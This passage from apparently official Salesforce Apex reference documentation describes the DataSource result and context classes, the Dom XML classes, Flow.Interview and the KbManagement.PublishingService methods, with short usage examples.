public Boolean success {get; set;}
Property Value
Type: Boolean
tableName
Name of the table that was queried.
Signature
public String tableName {get; set;}
Property Value
Type: String
totalSize
The total number of rows that meet the query criteria, even when the external system is requested to return a smaller batch size.
Signature
public Integer totalSize {get; set;}
Property Value
Type: Integer
TableResult Methods
The following are methods for TableResult.
IN THIS SECTION:
error(errorMessage)
Returns failed search or query results with the provided error message.
get(success, errorMessage, tableName, rows, totalSize)
Returns a subset of data rows in a TableResult with the provided property values.
get(success, errorMessage, tableName, rows)
Returns a subset of data rows in a TableResult with the provided property values and the number of rows in the table.
1766
TableResult ClassReference
get(queryContext, rows)
Returns the subset of data rows that meet the query criteria, and the number of rows in the table, in a TableResult.
get(tableSelection, rows)
Returns the subset of data rows that meet the query criteria, and the number of rows in the table, in a TableResult.
error(errorMessage)
Returns failed search or query results with the provided error message.
Signature
public static DataSource.TableResult error(String errorMessage)
Parameters
errorMessage
Type: String
Error message to display to the user.
Return Value
Type: DataSource.TableResult
The returned TableResult has these property values.
ValueProperty
falsesuccess
errorMessageerrorMessage
nulltableName
nullrows
0rows.size()
get(success, errorMessage, tableName, rows, totalSize)
Returns a subset of data rows in a TableResult with the provided property values.
Signature
public static DataSource.TableResult get(Boolean success, String errorMessage, String
tableName, List<Map<String,Object>> rows, Integer totalSize)
Parameters
success
Type: Boolean
Whether the search or query was successful.
1767
TableResult ClassReference
errorMessage
Type: String
Error message to display to the user.
tableName
Type: String
Name of the table that was queried.
rows
Type: List<Map<String, Object>>
Rows of data.
totalSize
Type: Integer
The total number of rows that meet the query criteria, even when the external system is requested to return a smaller batch size.
Return Value
Type: DataSource.TableResult
get(success, errorMessage, tableName, rows)
Returns a subset of data rows in a TableResult with the provided property values and the number of rows in the table.
Signature
public static DataSource.TableResult get(Boolean success, String errorMessage, String
tableName, List<Map<String,Object>> rows)
Parameters
success
Type: Boolean
Whether the search or query was successful.
errorMessage
Type: String
Error message to display to the user.
tableName
Type: String
Name of the table that was queried.
rows
Type: List<Map<String, Object>>
Rows of data.
Return Value
Type: DataSource.TableResult
1768
TableResult ClassReference
get(queryContext, rows)
Returns the subset of data rows that meet the query criteria, and the number of rows in the table, in a TableResult.
Signature
public static DataSource.TableResult get(DataSource.QueryContext queryContext,
List<Map<String,Object>> rows)
Parameters
queryContext
Type: DataSource.QueryContext
Represents the query to run against a data table.
rows
Type: List<Map<String, Object>>
Rows of data.
Return Value
Type: DataSource.TableResult
get(tableSelection, rows)
Returns the subset of data rows that meet the query criteria, and the number of rows in the table, in a TableResult.
Signature
public static DataSource.TableResult get(DataSource.TableSelection tableSelection,
List<Map<String,Object>> rows)
Parameters
tableSelection
Type: DataSource.TableSelection
Query details that represent the FROM, ORDER BY, SELECT, and WHERE clauses in a SOQL or SOSL query.
rows
Type: List<Map<String, Object>>
Rows of data.
Return Value
Type: DataSource.TableResult
TableSelection Class
Contains a breakdown of the SOQL or SOSL query. Its properties represent the FROM, ORDER BY, SELECT, and WHERE clauses in the
query.
1769
TableSelection ClassReference
Namespace
DataSource
IN THIS SECTION:
TableSelection Properties
TableSelection Properties
The following are properties for TableSelection.
IN THIS SECTION:
columnsSelected
List of columns to query. Corresponds to the SELECT clause in a SOQL or SOSL query.
filter
Identifies the query filter, which can be a compound filter that has a list of subfilters. The filter corresponds to the WHERE clause in
a SOQL or SOSL query.
order
Identifies the order for sorting the query results. Corresponds to the ORDER BY clause in a SOQL or SOSL query.
tableSelected
Name of the table to query. Corresponds to the FROM clause in a SOQL or SOSL query.
columnsSelected
List of columns to query. Corresponds to the SELECT clause in a SOQL or SOSL query.
Signature
public List<DataSource.ColumnSelection> columnsSelected {get; set;}
Property Value
Type: List<DataSource.ColumnSelection>
filter
Identifies the query filter, which can be a compound filter that has a list of subfilters. The filter corresponds to the WHERE clause in a
SOQL or SOSL query.
Signature
public DataSource.Filter filter {get; set;}
Property Value
Type: DataSource.Filter
1770
TableSelection ClassReference
order
Identifies the order for sorting the query results. Corresponds to the ORDER BY clause in a SOQL or SOSL query.
Signature
public List<DataSource.Order> order {get; set;}
Property Value
Type: List<DataSource.Order>
tableSelected
Name of the table to query. Corresponds to the FROM clause in a SOQL or SOSL query.
Signature
public String tableSelected {get; set;}
Property Value
Type: String
UpsertContext Class
An instance of UpsertContext is passed to the upsertRows() method on your Datasource.Connection class. This
class provides context information about the upsert request to the implementor of upsertRows().
Namespace
DataSource
Usage
The Apex Connector Framework creates the contet for operations. Context is comprised of parameters about the operations, which
other methods can use. An instance of the UpsertContext class packages these parameters into an object that can be used when
an upsertRows() operation is initiated.
IN THIS SECTION:
UpsertContext Properties
UpsertContext Properties
The following are properties for UpsertContext.
1771
UpsertContext ClassReference
IN THIS SECTION:
rows
List of rows corresponding to the external object records to upsert.
tableSelected
The name of the table to upsert rows in.
rows
List of rows corresponding to the external object records to upsert.
Signature
public List<Map<String,ANY>> rows {get; set;}
Property Value
Type: List<Map<String,Object>>
tableSelected
The name of the table to upsert rows in.
Signature
public String tableSelected {get; set;}
Property Value
Type: String
UpsertResult Class
Represents the result of an upsert operation on an external object record. The result is returned by the upsertRows method of the
DataSource.Connection class.
Namespace
DataSource
Usage
An upsert operation on external object records generates an array of objects of type DataSource.UpsertResult. Its methods
create result records that indicate whether the upsert operation succeeded or failed.
IN THIS SECTION:
UpsertResult Properties
UpsertResult Methods
1772
UpsertResult ClassReference
UpsertResult Properties
The following are properties for UpsertResult.
IN THIS SECTION:
errorMessage
The error message that’s generated by a failed upsert operation.
externalId
The unique identifier of a row that represents an external object record to upsert.
success
Indicates whether a delete operation succeeded or failed.
errorMessage
The error message that’s generated by a failed upsert operation.
Signature
public String errorMessage {get; set;}
Property Value
Type: String
externalId
The unique identifier of a row that represents an external object record to upsert.
Signature
public String externalId {get; set;}
Property Value
Type: String
success
Indicates whether a delete operation succeeded or failed.
Signature
public Boolean success {get; set;}
Property Value
Type: Boolean
1773
UpsertResult ClassReference
UpsertResult Methods
The following are methods for UpsertResult.
IN THIS SECTION:
equals(obj)
Maintains the integrity of lists of type UpsertResult by determining the equality of external object records in a list. This method
is dynamic and is based on the equals method in Java.
failure(externalId, errorMessage)
Creates an upsert result that indicates the failure of a delete request for a given external ID.
hashCode()
Maintains the integrity of lists of type UpsertResult by determining the uniqueness of the external object records in a list.
success(externalId)
Creates a delete result that indicates the successful completion of an upsert request for a given external ID.
equals(obj)
Maintains the integrity of lists of type UpsertResult by determining the equality of external object records in a list. This method is
dynamic and is based on the equals method in Java.
Signature
public Boolean equals(Object obj)
Parameters
obj
Type: Object
External object whose key is to be validated.
Return Value
Type: Boolean
failure(externalId, errorMessage)
Creates an upsert result that indicates the failure of a delete request for a given external ID.
Signature
public static DataSource.UpsertResult failure(String externalId, String errorMessage)
Parameters
externalId
Type: String
The unique identifier of the external object record to upsert.
1774
UpsertResult ClassReference
errorMessage
Type: String
The reason the upsert operation failed.
Return Value
Type: DataSource.UpsertResult
Status result for the upsert operation.
hashCode()
Maintains the integrity of lists of type UpsertResult by determining the uniqueness of the external object records in a list.
Signature
public Integer hashCode()
Return Value
Type: Integer
success(externalId)
Creates a delete result that indicates the successful completion of an upsert request for a given external ID.
Signature
public static DataSource.UpsertResult success(String externalId)
Parameters
externalId
Type: String
The unique identifier of the external object record to upsert.
Return Value
Type: DataSource.UpsertResult
Status result of the upsert operation for the external object record with the given external ID.
DataSource Exceptions
The DataSource namespace contains exception classes.
All exception classes support built-in methods for returning the error message and exception type. See Exception Class and Built-In
Exceptions.
The DataSource namespace contains these exceptions.
1775
DataSource ExceptionsReference
MethodsDescriptionException
To get the error message and write it
to debug log, use the String
getMessage().
Throw this exception to indicate that an
error occurred while communicating with
an external data source.
DataSource.DataSourceException
To get the error message and write it
to debug log, use the String
getMessage().
Throw this exception to indicate that an
OAuth token has expired. The system then
attempts to refresh the token
automatically and restart the query, search,
or sync operation.
DataSource.OAuthTokenExpiredException
Dom Namespace
The Dom namespace provides classes and methods for parsing and creating XML content.
The following are the classes in the Dom namespace.
IN THIS SECTION:
Document Class
Use the Document class to process XML content. You can parse nested XML content that’s up to 50 nodes deep.
XmlNode Class
Use the XmlNode class to work with a node in an XML document.
Document Class
Use the Document class to process XML content. You can parse nested XML content that’s up to 50 nodes deep.
Namespace
Dom
Usage
One common application is to use it to create the body of a request for HttpRequest or to parse a response accessed by HttpResponse.
IN THIS SECTION:
Document Constructors
Document Methods
SEE ALSO:
Reading and Writing XML Using the DOM
1776
Dom NamespaceReference
Document Constructors
The following are constructors for Document.
IN THIS SECTION:
Document()
Creates a new instance of the Dom.Document class.
Document()
Creates a new instance of the Dom.Document class.
Signature
public Document()
Document Methods
The following are methods for Document. All are instance methods.
IN THIS SECTION:
createRootElement(name, namespace, prefix)
Creates the top-level root element for a document.
getRootElement()
Returns the top-level root element node in the document. If this method returns null, the root element has not been created yet.
load(xml)
Parse the XML representation of the document specified in the xml argument and load it into a document.
toXmlString()
Returns the XML representation of the document as a String.
createRootElement(name, namespace, prefix)
Creates the top-level root element for a document.
Signature
public Dom.XmlNode createRootElement(String name, String namespace, String prefix)
Parameters
name
Type: String
namespace
Type: String
prefix
Type: String
1777
Document ClassReference
Return Value
Type: Dom.XmlNode
Usage
For more information about namespaces, see XML Namespaces.
Calling this method more than once on a document generates an error as a document can have only one root element.
getRootElement()
Returns the top-level root element node in the document. If this method returns null, the root element has not been created yet.
Signature
public Dom.XmlNode getRootElement()
Return Value
Type: Dom.XmlNode
load(xml)
Parse the XML representation of the document specified in the xml argument and load it into a document.
Signature
public Void load(String xml)
Parameters
xml
Type: String
Return Value
Type: Void
Example
Dom.Document doc = new Dom.Document();
doc.load(xml);
toXmlString()
Returns the XML representation of the document as a String.
Signature
public String toXmlString()
1778
Document ClassReference
Return Value
Type: String
XmlNode Class
Use the XmlNode class to work with a node in an XML document.
Namespace
Dom
XmlNode Methods
The following are methods for XmlNode. All are instance methods.
IN THIS SECTION:
addChildElement(name, namespace, prefix)
Creates a child element node for this node.
addCommentNode(text)
Creates a child comment node for this node.
addTextNode(text)
Creates a child text node for this node.
getAttribute(key, keyNamespace)
Returns namespacePrefix:attributeValue for the given key and key namespace.
getAttributeCount()
Returns the number of attributes for this node.
getAttributeKeyAt(index)
Returns the attribute key for the given index. Index values start at 0.
getAttributeKeyNsAt(index)
Returns the attribute key namespace for the given index.
getAttributeValue(key, keyNamespace)
Returns the attribute value for the given key and key namespace.
getAttributeValueNs(key, keyNamespace)
Returns the attribute value namespace for the given key and key namespace.
getChildElement(name, namespace)
Returns the child element node for the node with the given name and namespace.
getChildElements()
Returns the child element nodes for this node. This doesn't include child text or comment nodes.
getChildren()
Returns the child nodes for this node. This includes all node types.
getName()
Returns the element name.
1779
XmlNode ClassReference
getNamespace()
Returns the namespace of the element.
getNamespaceFor(prefix)
Returns the namespace of the element for the given prefix.
getNodeType()
Returns the node type.
getParent()
Returns the parent of this element.
getPrefixFor(namespace)
Returns the prefix of the given namespace.
getText()
Returns the text for this node.
insertBefore(newChild, refChild)
Inserts a new child node before the specified node.
removeAttribute(key, keyNamespace)
Removes the attribute with the given key and key namespace. Returns true if successful, false otherwise.
removeChild(childNode)
Removes the given child node.
setAttribute(key, value)
Sets the key attribute value.
setAttributeNs(key, value, keyNamespace, valueNamespace)
Sets the key attribute value.
setNamespace(prefix, namespace)
Sets the namespace for the given prefix.
addChildElement(name, namespace, prefix)
Creates a child element node for this node.
Signature
public Dom.XmlNode addChildElement(String name, String namespace, String prefix)
Parameters
name
Type: String
The name argument can't have a null value.
namespace
Type: String
prefix
Type: String
1780
XmlNode ClassReference
Return Value
Type: Dom.XmlNode
Usage
•If the namespace argument has a non-null value and the prefix argument is null, the namespace is set as the default
namespace.
•If the prefix argument is null, Salesforce automatically assigns a prefix for the element. The format of the automatic prefix is
nsi, where i is a number.If the prefix argument is '', the namespace is set as the default namespace.
addCommentNode(text)
Creates a child comment node for this node.
Signature
public Dom.XmlNode addCommentNode(String text)
Parameters
text
Type: String
The text argument can't have a null value.
Return Value
Type: Dom.XmlNode
addTextNode(text)
Creates a child text node for this node.
Signature
public Dom.XmlNode addTextNode(String text)
Parameters
text
Type: String
The text argument can't have a null value.
Return Value
Type: Dom.XmlNode
getAttribute(key, keyNamespace)
Returns namespacePrefix:attributeValue for the given key and key namespace.
1781
XmlNode ClassReference
Signature
public String getAttribute(String key, String keyNamespace)
Parameters
key
Type: String
keyNamespace
Type: String
Return Value
Type: String
Example
For example, for the <foo a:b="c:d" /> element:
•getAttribute returns c:d
•getAttributeValue returns d
getAttributeCount()
Returns the number of attributes for this node.
Signature
public Integer getAttributeCount()
Return Value
Type: Integer
getAttributeKeyAt(index)
Returns the attribute key for the given index. Index values start at 0.
Signature
public String getAttributeKeyAt(Integer index)
Parameters
index
Type: Integer
Return Value
Type: String
1782
XmlNode ClassReference
getAttributeKeyNsAt(index)
Returns the attribute key namespace for the given index.
Signature
public String getAttributeKeyNsAt(Integer index)
Parameters
index
Type: Integer
Return Value
Type: String
getAttributeValue(key, keyNamespace)
Returns the attribute value for the given key and key namespace.
Signature
public String getAttributeValue(String key, String keyNamespace)
Parameters
key
Type: String
keyNamespace
Type: String
Return Value
Type: String
Example
For example, for the <foo a:b="c:d" /> element:
•getAttribute returns c:d
•getAttributeValue returns d
getAttributeValueNs(key, keyNamespace)
Returns the attribute value namespace for the given key and key namespace.
Signature
public String getAttributeValueNs(String key, String keyNamespace)
1783
XmlNode ClassReference
Parameters
key
Type: String
keyNamespace
Type: String
Return Value
Type: String
getChildElement(name, namespace)
Returns the child element node for the node with the given name and namespace.
Signature
public Dom.XmlNode getChildElement(String name, String namespace)
Parameters
name
Type: String
namespace
Type: String
Return Value
Type: Dom.XmlNode
getChildElements()
Returns the child element nodes for this node. This doesn't include child text or comment nodes.
Signature
public Dom.XmlNode[] getChildElements()
Return Value
Type: Dom.XmlNode[]
getChildren()
Returns the child nodes for this node. This includes all node types.
Signature
public Dom.XmlNode[] getChildren()
1784
XmlNode ClassReference
Return Value
Type: Dom.XmlNode[]
getName()
Returns the element name.
Signature
public String getName()
Return Value
Type: String
getNamespace()
Returns the namespace of the element.
Signature
public String getNamespace()
Return Value
Type: String
getNamespaceFor(prefix)
Returns the namespace of the element for the given prefix.
Signature
public String getNamespaceFor(String prefix)
Parameters
prefix
Type: String
Return Value
Type: String
getNodeType()
Returns the node type.
1785
XmlNode ClassReference
Signature
public Dom.XmlNodeType getNodeType()
Return Value
Type: Dom.XmlNodeType
getParent()
Returns the parent of this element.
Signature
public Dom.XmlNode getParent()
Return Value
Type: Dom.XmlNode
getPrefixFor(namespace)
Returns the prefix of the given namespace.
Signature
public String getPrefixFor(String namespace)
Parameters
namespace
Type: String
The namespace argument can't have a null value.
Return Value
Type: String
getText()
Returns the text for this node.
Signature
public String getText()
Return Value
Type: String
1786
XmlNode ClassReference
insertBefore(newChild, refChild)
Inserts a new child node before the specified node.
Signature
public Dom.XmlNode insertBefore(Dom.XmlNode newChild, Dom.XmlNode refChild)
Parameters
newChild
Type: Dom.XmlNode
The node to insert.
refChild
Type: Dom.XmlNode
The node before the new node.
Return Value
Type: Dom.XmlNode
Usage
•If refChild is null, newChild is inserted at the end of the list.
•If refChild doesn't exist, an exception is thrown.
removeAttribute(key, keyNamespace)
Removes the attribute with the given key and key namespace. Returns true if successful, false otherwise.
Signature
public Boolean removeAttribute(String key, String keyNamespace)
Parameters
key
Type: String
keyNamespace
Type: String
Return Value
Type: Boolean
removeChild(childNode)
Removes the given child node.
1787
XmlNode ClassReference
Signature
public Boolean removeChild(Dom.XmlNode childNode)
Parameters
childNode
Type: Dom.XmlNode
Return Value
Type: Boolean
setAttribute(key, value)
Sets the key attribute value.
Signature
public Void setAttribute(String key, String value)
Parameters
key
Type: String
value
Type: String
Return Value
Type: Void
setAttributeNs(key, value, keyNamespace, valueNamespace)
Sets the key attribute value.
Signature
public Void setAttributeNs(String key, String value, String keyNamespace, String
valueNamespace)
Parameters
key
Type: String
value
Type: String
keyNamespace
Type: String
1788
XmlNode ClassReference
valueNamespace
Type: String
Return Value
Type: Void
setNamespace(prefix, namespace)
Sets the namespace for the given prefix.
Signature
public Void setNamespace(String prefix, String namespace)
Parameters
prefix
Type: String
namespace
Type: String
Return Value
Type: Void
Flow Namespace
The Flow namespace provides a class for advanced Visualforce controller access to flows.
The following is the class in the Flow namespace.
IN THIS SECTION:
Interview Class
The Flow.Interview class provides advanced Visualforce controller access to flows and the ability to start a flow.
Interview Class
The Flow.Interview class provides advanced Visualforce controller access to flows and the ability to start a flow.
Namespace
Flow
1789
Flow NamespaceReference
Usage
The Flow.Interview class is used with Visual Workflow. Use the methods in this class to invoke an autolaunched flow or to enable
a Visualforce controller to access a flow variable.
SOQL and DML limits apply during flow execution. See Apex Governor Limits that Affect Flows in the Visual Workflow Guide.
Example
This sample uses the getVariableValue method to obtain breadcrumb (navigation) information from the flow embedded in the
Visualforce page. If that flow contains subflow elements, and each of the referenced flows also contains a vaBreadCrumb variable,
the Visualforce page can provide users with breadcrumbs regardless of which flow the interview is running.
public class SampleController {
//Instance of the flow
public Flow.Interview.Flow_Template_Gallery myFlow {get; set;}
public String getBreadCrumb() {
String aBreadCrumb;
if (myFlow==null){return 'Home';}
else aBreadCrumb = (String) myFlow.getVariableValue('vaBreadCrumb');
return(aBreadCrumb==null ?'Home': aBreadCrumb);
}
}
The following includes a sample controller that starts a flow and the corresponding Visualforce page. The Visualforce page contains an
input box and a start button. When the user enters a number in the input box and clicks Start, the controller’s start method is called.
The button saves the user-entered value to the flow’s input variable and launches the flow using the start method. The flow
doubles the value of input and assigns it to the output variable, and the output label displays the value for output by using
the getVariableValue method.
public class FlowController {
//Instance of the Flow
public Flow.Interview.doubler myFlow {get; set;}
public Double value {get; set;}
public Double getOutput() {
if (myFlow == null)return null;
return (Double)(myFlow.getVariableValue('v1'));
}
public void start() {
Map<String,Object> myMap = new Map<String,Object>();
myMap.put('v1', input);
myFlow = new Flow.Interview.doubler(myMap);
myFlow.start();
}
}
1790
Interview ClassReference
The following is the Visualforce page that uses the sample flow controller.
<apex:page controller="FlowController">
<apex:outputLabel id="text">v1 = {!output}</apex:outputLabel>
<apex:form >
value : <apex:inputText value="{!output}"/>
<apex:commandButton action="{!start}" value="Start" reRender="text"/>
</apex:form>
</apex:page>
Interview Methods
The following are instance methods for Interview.
IN THIS SECTION:
getVariableValue(variableName)
Returns the value of the specified flow variable. The flow variable can be in the flow embedded in the Visualforce page, or in a
separate flow that is called by a subflow element.
start()
Invokes an autolaunched flow or user provisioning flow.
getVariableValue(variableName)
Returns the value of the specified flow variable. The flow variable can be in the flow embedded in the Visualforce page, or in a separate
flow that is called by a subflow element.
Signature
public Object getVariableValue(String variableName)
Parameters
variableName
Type: String
Specifies the unique name of the flow variable.
Return Value
Type: Object
Usage
The returned variable value comes from whichever flow the interview is running. If the specified variable can’t be found in that flow, the
method returns null.
This method checks for the existence of the variable at run time only, not at compile time.
1791
Interview ClassReference
start()
Invokes an autolaunched flow or user provisioning flow.
Signature
public Void start()
Return Value
Type: Void
Usage
This method can be used only with flows that have one of these types.
•Autolaunched Flow
•User Provisioning Flow
For details, see “Flow Types” in the Visual Workflow Guide.
When a flow user invokes an autolaunched flow, the active flow version is run. If there’s no active version, the latest version is run. When
a flow admin invokes an autolaunched flow, the latest version is always run.
KbManagement Namespace
The KbManagement namespace provides a class for managing knowledge articles.
The following is the class in the KbManagement namespace.
IN THIS SECTION:
PublishingService Class
Use the methods in the KbManagement.PublishingService class to manage the lifecycle of an article and its translations.
PublishingService Class
Use the methods in the KbManagement.PublishingService class to manage the lifecycle of an article and its translations.
Namespace
KbManagement
Usage
Use the methods in the KbManagement.PublishingService class to manage the following parts of the lifecycle of an article
and its translations:
•Publishing
•Updating
•Retrieving
1792
KbManagement NamespaceReference
•Deleting
•Submitting for translation
•Setting a translation to complete or incomplete status
•Archiving
•Assigning review tasks for draft articles or translations
Note: Date values are based on GMT.
To use the methods in this class, you must enable Salesforce Knowledge. See Salesforce Knowledge Implementation Guide for more
information on setting up Salesforce Knowledge.
PublishingService Methods
The following are methods for PublishingService. All methods are static.
IN THIS SECTION:
archiveOnlineArticle(articleId, scheduledDate)
Archives an online version of an article. If the specified scheduledDate is null, the article is archived immediately. Otherwise, it archives
the article on the scheduled date.
assignDraftArticleTask(articleId, assigneeId, instructions, dueDate, sendEmailNotification)
Assigns a review task related to a draft article.
assignDraftTranslationTask(articleVersionId, assigneeId, instructions, dueDate, sendEmailNotification)
Assigns a review task related to a draft translation.
cancelScheduledArchivingOfArticle(articleId)
Cancels the scheduled archiving of an online article.
cancelScheduledPublicationOfArticle(articleId)
Cancels the scheduled publication of a draft article.
completeTranslation(articleVersionId)
Puts a translation in a completed state that is ready to publish.
deleteArchivedArticle(articleId)
Deletes an archived article.
deleteArchivedArticleVersion(articleId, versionNumber)
Deletes a specific version of an archived article.
deleteDraftArticle(articleId)
Deletes a draft article.
deleteDraftTranslation(articleVersionId)
Deletes a draft translation.
editArchivedArticle(articleId)
Creates a draft article from the archived master version and returns the new draft master version ID of the article.
editOnlineArticle(articleId, unpublish)
Creates a draft article from the online version and returns the new draft master version ID of the article. Also, unpublishes the online
article, if unpublish is set to true.
1793
PublishingService ClassReference
editPublishedTranslation(articleId, language, unpublish)
Creates a draft version of the online translation for a specific language and returns the new draft master version ID of the article. Also,
unpublishes the article, if set to true.
publishArticle(articleId, flagAsNew)
Publishes an article. If flagAsNew is set to true, the article is published as a major version.
restoreOldVersion(articleId, versionNumber)
Creates a draft article from an existing online article based on the specified archived version of the article and returns the article
version ID.
scheduleForPublication(articleId, scheduledDate)
Schedules the article for publication as a major version. If the specified date is null, the article is published immediately.
setTranslationToIncomplete(articleVersionId)
Sets a draft translation that is ready for publication back to “in progress” status.
submitForTranslation(articleId, language, assigneeId, dueDate)
Submits an article for translation to the specified language. Also assigns the specified user and due date to the submittal and returns
new ID of the draft translation.
archiveOnlineArticle(articleId, scheduledDate)
Archives an online version of an article. If the specified scheduledDate is null, the article is archived immediately. Otherwise, it archives
the article on the scheduled date.
Signature
public static Void archiveOnlineArticle(String articleId, Datetime scheduledDate)
Parameters
articleId
Type: String
scheduledDate
Type: Datetime
Return Value
Type: Void
Example
String articleId = 'Insert article ID';
Datetime scheduledDate = Datetime.newInstanceGmt(2012, 12,1,13,30,0);
KbManagement.PublishingService.archiveOnlineArticle(articleId, scheduledDate);
assignDraftArticleTask(articleId, assigneeId, instructions, dueDate,
sendEmailNotification)
Assigns a review task related to a draft article.
1794
PublishingService ClassReference
Signature
public static Void assignDraftArticleTask(String articleId, String assigneeId, String
instructions, Datetime dueDate, Boolean sendEmailNotification)
Parameters
articleId
Type: String
assigneeId
Type: String
instructions
Type: String
dueDate
Type: Datetime
sendEmailNotification
Type: Boolean
Return Value
Type: Void
Example
String articleId = 'Insert article ID';
String assigneeId = '';
String instructions = 'Please review this draft.';
Datetime dueDate = Datetime.newInstanceGmt(2012, 12, 1);
KbManagement.PublishingService.assignDraftArticleTask(articleId, assigneeId, instructions,
dueDate, true);
assignDraftTranslationTask(articleVersionId, assigneeId, instructions,
dueDate, sendEmailNotification)
Assigns a review task related to a draft translation.
Signature
public static Void assignDraftTranslationTask(String articleVersionId, String assigneeId,
String instructions, Datetime dueDate, Boolean sendEmailNotification)
Parameters
articleVersionId
Type: String
assigneeId
Type: String
1795
PublishingService ClassReference
instructions
Type: String
dueDate
Type: Datetime
sendEmailNotification
Type: Boolean
Return Value
Type: Void
Example
String articleId = 'Insert article ID';
String assigneeId = 'Insert assignee ID';
String instructions = 'Please review this draft.';
Datetime dueDate = Datetime.newInstanceGmt(2012, 12, 1);
KbManagement.PublishingService.assignDraftTranslationTask(articleId, assigneeId,
instructions, dueDate, true);
cancelScheduledArchivingOfArticle(articleId)
Cancels the scheduled archiving of an online article.
Signature
public static Void cancelScheduledArchivingOfArticle(String articleId)
Parameters
articleId
Type: String
Return Value
Type: Void
Example
String articleId = 'Insert article ID';
KbManagement.PublishingService.cancelScheduledArchivingOfArticle (articleId);
cancelScheduledPublicationOfArticle(articleId)
Cancels the scheduled publication of a draft article.
Signature
public static Void cancelScheduledPublicationOfArticle(String articleId)
1796
PublishingService ClassReference
Parameters
articleId
Type: String
Return Value
Type: Void
Example
String articleId = 'Insert article ID';
KbManagement.PublishingService.cancelScheduledPublicationOfArticle (articleId);
completeTranslation(articleVersionId)
Puts a translation in a completed state that is ready to publish.
Signature
public static Void completeTranslation(String articleVersionId)
Parameters
articleVersionId
Type: String
Return Value
Type: Void
Example
String articleVersionId = 'Insert article ID';
KbManagement.PublishingService.completeTranslation(articleVersionId);
deleteArchivedArticle(articleId)
Deletes an archived article.
Signature
public static Void deleteArchivedArticle(String articleId)
Parameters
articleId
Type: String
1797
PublishingService ClassReference
Return Value
Type: Void
Example
String articleId = 'Insert article ID';
KbManagement.PublishingService.deleteArchivedArticle(articleId);
deleteArchivedArticleVersion(articleId, versionNumber)
Deletes a specific version of an archived article.
Signature
public static Void deleteArchivedArticleVersion(String articleId, Integer versionNumber)
Parameters
articleId
Type: String
versionNumber
Type: Integer
Return Value
Type: Void
Example
String articleId = 'Insert article ID';
Integer versionNumber = 1;
KbManagement.PublishingService.deleteArchivedArticleVersion(articleId, versionNumber);
deleteDraftArticle(articleId)
Deletes a draft article.
Signature
public static Void deleteDraftArticle(String articleId)
Parameters
articleId
Type: String
Return Value
Type: Void
1798
PublishingService ClassReference
Example
String articleId = 'Insert article ID';
KbManagement.PublishingService.deleteDraftArticle(articleId);
deleteDraftTranslation(articleVersionId)
Deletes a draft translation.
Signature
public static Void deleteDraftTranslation(String articleVersionId)
Parameters
articleVersionId
Type: String
Return Value
Type: Void
Example
String articleVersionId = 'Insert article ID';
KbManagement.PublishingService.deleteDraftTranslation (articleVersionId);
editArchivedArticle(articleId)
Creates a draft article from the archived master version and returns the new draft master version ID of the article.
Signature
public static String editArchivedArticle(String articleId)
Parameters
articleId
Type: String
Return Value
Type: String
Example
String articleId = 'Insert article ID';
String id = KbManagement.PublishingService.editArchivedArticle(articleId);
1799
PublishingService ClassReference
editOnlineArticle(articleId, unpublish)
Creates a draft article from the online version and returns the new draft master version ID of the article. Also, unpublishes the online
article, if unpublish is set to true.
Signature
public static String editOnlineArticle(String articleId, Boolean unpublish)
Parameters
articleId
Type: String
unpublish
Type: Boolean
Return Value
Type: String
Example
String articleId = 'Insert article ID';
String id = KbManagement.PublishingService.editOnlineArticle (articleId, true);
editPublishedTranslation(articleId, language, unpublish)
Creates a draft version of the online translation for a specific language and returns the new draft master version ID of the article. Also,
unpublishes the article, if set to true.
Signature
public static String editPublishedTranslation(String articleId, String language, Boolean
unpublish)
Parameters
articleId
Type: String
language
Type: String
unpublish
Type: Boolean
Return Value
Type: String
1800
PublishingService ClassReference
Example
String articleId = 'Insert article ID';
String language = 'fr';
String id = KbManagement.PublishingService.editPublishedTranslation(articleId, language,
true);
publishArticle(articleId, flagAsNew)
Publishes an article. If flagAsNew is set to true, the article is published as a major version.
Signature
public static Void publishArticle(String articleId, Boolean flagAsNew)
Parameters
articleId
Type: String
flagAsNew
Type: Boolean
Return Value
Type: Void
Example
String articleId = 'Insert article ID';
KbManagement.PublishingService.publishArticle(articleId, true);
restoreOldVersion(articleId, versionNumber)
Creates a draft article from an existing online article based on the specified archived version of the article and returns the article version
ID.
Signature
public static String restoreOldVersion(String articleId, Integer versionNumber)
Parameters
articleId
Type: String
versionNumber
Type: Integer
Return Value
Type: String
1801
PublishingService ClassReference
Example
String articleId = 'Insert article ID';
String id = KbManagement.PublishingService.restoreOldVersion (articleId, 1);
scheduleForPublication(articleId, scheduledDate)
Schedules the article for publication as a major version. If the specified date is null, the article is published immediately.
Signature
public static Void scheduleForPublication(String articleId, Datetime scheduledDate)
Parameters
articleId
Type: String
scheduledDate
Type: Datetime
Return Value
Type: Void
Example
String articleId = 'Insert article ID';
Datetime scheduledDate = Datetime.newInstanceGmt(2012, 12,1,13,30,0);
KbManagement.PublishingService.scheduleForPublication(articleId, scheduledDate);
setTranslationToIncomplete(articleVersionId)
Sets a draft translation that is ready for publication back to “in progress” status.
Signature
public static Void setTranslationToIncomplete(String articleVersionId)
Parameters
articleVersionId
Type: String
Return Value
Type: Void
1802
PublishingService ClassReference
Example
String articleVersionId = 'Insert article ID';
KbManagement.PublishingService.setTranslationToIncomplete(articleVersionId);
submitForTranslation(articleId, language, assigneeId, dueDate)
Submits an article for translation to the specified language. Also assigns the specified user and due date to the submittal and returns
new ID of the draft translation.
Signature
public static String submitForTranslation(String articleId, String language, String
assigneeId, Datetime dueDate)
Parameters
articleId
Type: String
language
Type: String
assigneeId
Type: String
dueDate
Type: Datetime
Return Value
Type: String
Example
String articleId = 'Insert article ID';
String language = 'fr';
String assigneeId = 'Insert assignee ID';
Datetime dueDate = Datetime.newInstanceGmt(2012, 12,1);
String id = KbManagement.PublishingService.submitForTranslation(articleId, language,
assigneeId, dueDate);
Messaging Namespace
The Messaging namespace provides classes and methods for Salesforce outbound and inbound email functionality.
The following are the classes in the Messaging namespace.
IN THIS SECTION:
Email Class (Base Email Methods)
Contains base email methods common to both single and mass email.
1803
Messaging NamespaceReference
EmailFileAttachment Class
EmailFileAttachment is used in SingleEmailMessage to specify attachments passed in as part of the request, as opposed to existing
documents in Salesforce.
InboundEmail Class
Represents an inbound email object.
InboundEmail.BinaryAttachment Class
An InboundEmail object stores binary attachments in an InboundEmail.BinaryAttachment object.
InboundEmail.TextAttachment Class
An InboundEmail object stores text attachments in an InboundEmail.TextAttachment object.
InboundEmailResult Class
The InboundEmailResult object is used to return the result of the email service. If this object is null, the result is assumed to be
successful.
InboundEnvelope Class
The InboundEnvelope object stores the envelope information associated with the inbound email, and has the following fields.
